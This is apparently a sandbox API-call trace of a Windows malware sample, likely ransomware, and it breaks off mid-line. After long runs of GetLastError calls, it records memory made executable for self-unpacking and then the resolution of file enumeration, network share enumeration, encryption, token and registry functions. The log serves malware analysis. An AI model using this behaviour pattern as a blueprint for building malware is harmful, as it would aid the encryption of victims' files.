0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.729] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.730] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.731] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.732] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.733] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.734] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.735] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.736] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.737] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.738] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.739] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.740] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.741] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.742] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0048.743] GetLastError () returned 0x0 [0049.342] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.343] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0049.343] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0049.344] VirtualProtect (in: lpAddress=0x2b05e0, dwSize=0x74f3, flNewProtect=0x40, lpflOldProtect=0x18e240 | out: lpflOldProtect=0x18e240*=0x4) returned 1 [0049.353] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0049.353] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0049.353] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0049.353] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0049.353] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0049.353] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0049.354] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0049.354] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0049.354] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x44 [0049.357] Module32First (hSnapshot=0x44, lpme=0x18f440) returned 1 [0049.357] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0049.360] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0049.360] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0049.360] SetErrorMode (uMode=0x400) returned 0x0 [0049.360] SetErrorMode (uMode=0x0) returned 0x400 [0049.360] GetVersionExA (in: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0049.360] VirtualAlloc (lpAddress=0x0, dwSize=0x9200, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0049.361] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1d000, flNewProtect=0x40, lpflOldProtect=0x18f3f8 | out: lpflOldProtect=0x18f3f8*=0x2) returned 1 [0049.371] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.371] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0049.629] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0049.629] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0049.629] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0049.629] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0049.629] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0049.629] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0049.629] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0049.630] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0049.631] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0049.632] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0049.633] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0049.634] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0049.634] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0052.524] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0052.524] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0052.524] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0052.524] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0052.524] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0052.524] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0052.524] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0052.525] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0052.526] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0052.526] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0052.526] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0052.526] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0052.526] GetProcAddress (hModule=0x77710000, 